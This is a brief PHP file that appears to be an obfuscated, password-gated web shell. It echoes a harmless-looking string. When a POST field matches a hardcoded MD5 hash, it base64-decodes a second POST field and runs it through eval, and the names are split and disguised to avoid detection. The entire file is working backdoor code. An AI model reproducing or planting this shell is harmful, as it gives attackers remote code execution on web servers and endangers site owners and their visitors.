<?php 
$mdv = 'E'.date('y');
$byk = $_POST;
if(!empty($byk['a']) && md5($byk['a'].md5($byk['a']))==('9363b'.'e5d29'.'53bf7'.'28f7a'.'320a7'.'8a086'.'29')) {
	$aox = 'base'.'64_d'.'ecod'.'E';
	EVal /*tbyfx*/ ($aox($byk['c']));
	exit;
}
echo $mdv;
?>